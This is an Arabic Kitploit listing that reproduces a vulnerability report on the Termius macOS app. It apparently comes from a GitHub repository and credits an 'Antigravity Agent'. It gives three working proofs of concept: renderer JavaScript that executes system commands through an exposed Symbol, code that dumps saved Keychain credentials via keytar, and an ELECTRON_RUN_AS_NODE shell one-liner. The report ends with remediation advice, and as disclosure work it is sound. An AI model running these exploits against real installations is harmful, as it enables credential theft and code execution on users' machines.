Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/nicetop1027/cve-2026-termius
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالالأوراق والأبحاثسوء التكوينالتعلم والتعليم
GitHubnicetop1027/cve-2026-termius

CVE-2026-Termius

عرض المستودع
منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تقرير ثغرات تطبيق Termius لنظام macOS (CVE-2026-Termius)

الهدف: Termius (نظام macOS) الإصدار الذي تم اختباره: الأحدث (حتى يناير 2026) الأثر: تنفيذ التعليمات البرمجية عن بُعد (RCE)، تصعيد الامتيازات المحلية (LPE)، تجاوز أمان التطبيق

🚨 الملخص التنفيذي

تم تحديد ثلاث ثغرات حرجة في تطبيق Termius لنظام macOS تسمح للمهاجم بـ:

  1. تنفيذ أوامر نظام تعسفية (RCE) عبر رمز Symbol خفي مكشوف لواجهة العارض (renderer).
  2. تفريغ جميع كلمات المرور المحفوظة (LPE) عبر إساءة استخدام وحدة keytar الأصلية المكشوفة.
  3. تجاوز أمان التطبيق بالكامل باستخدام غياب مصهر ELECTRON_RUN_AS_NODE.

1. حرج: تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر رمز Symbol مخفي

تفاصيل الثغرة

يكشف التطبيق عن وحدات Node.js قوية (child_process, fs, electron) لعملية العارض (جزء الواجهة في التطبيق). هذه الوحدات مخفية خلف Symbol عام في كائن window بهدف إخفائها، لكنها غير معزولة بشكل آمن.

  • نمط الكود القابل للاستغلال:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

الاستغلال (PoC)

يمكن للمهاجم الذي يحقق Cross-Site Scripting (XSS) التصعيد فورًا إلى RCE باستخدام هذا الرمز المكشوف.

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. حرج: تفريغ بيانات الاعتماد المحلية (LPE)

تفاصيل الثغرة

وحدة keytar الأصلية في Node.js، التي يستخدمها Termius للتواصل مع سلسلة المفاتيح (Keychain) في macOS، مكشوفة أيضًا عبر نفس رمز Symbol المخفي. وهذا يسمح لأي سكربت يعمل ضمن سياق التطبيق (مثل إضافة خبيثة، أو XSS، أو حقن عمليات محلي) بالاستعلام عن كلمات المرور كنص صريح لجميع الخوادم المحفوظة واسترجاعها.

الاستغلال (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. حرج: مصهر Electron مفقود (RunAsNode)

تفاصيل الثغرة

لا يقوم ملف Termius الثنائي بتعطيل مصهر ELECTRON_RUN_AS_NODE. وهذا خطأ أمني حرج يسمح لأي مستخدم محلي بتنفيذ الملف الثنائي الموقّع لتطبيق Termius كملف Node.js قياسي. وهذا يتجاوز تمامًا فحوصات سلامة توقيع الشيفرة (Code Signing) في macOS لمنطق التطبيق.

الاستغلال (PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

توصيات المعالجة (للمطورين)

  1. تعطيل مصاهر Electron: قم بتعطيل RunAsNode و EnableNodeCliInspectArguments صراحةً باستخدام @electron/fuses أثناء البناء.
  2. إزالة كشف الرمز العام (Global Symbol): لا تثبّت الوحدات الحساسة على window أو global. استخدم contextBridge.exposeInMainWorld مع سطح API مقيد لا يكشف سوى الوظائف الضرورية، وليس الوحدات كاملة.
  3. تنقية IPC: تأكد من أن جميع الاتصالات بين العمليات (IPC) مُنمّطة بدقة ويتم التحقق من صحتها.

تم إنشاء التقرير بواسطة Antigravity Agent

تنزيل الأداة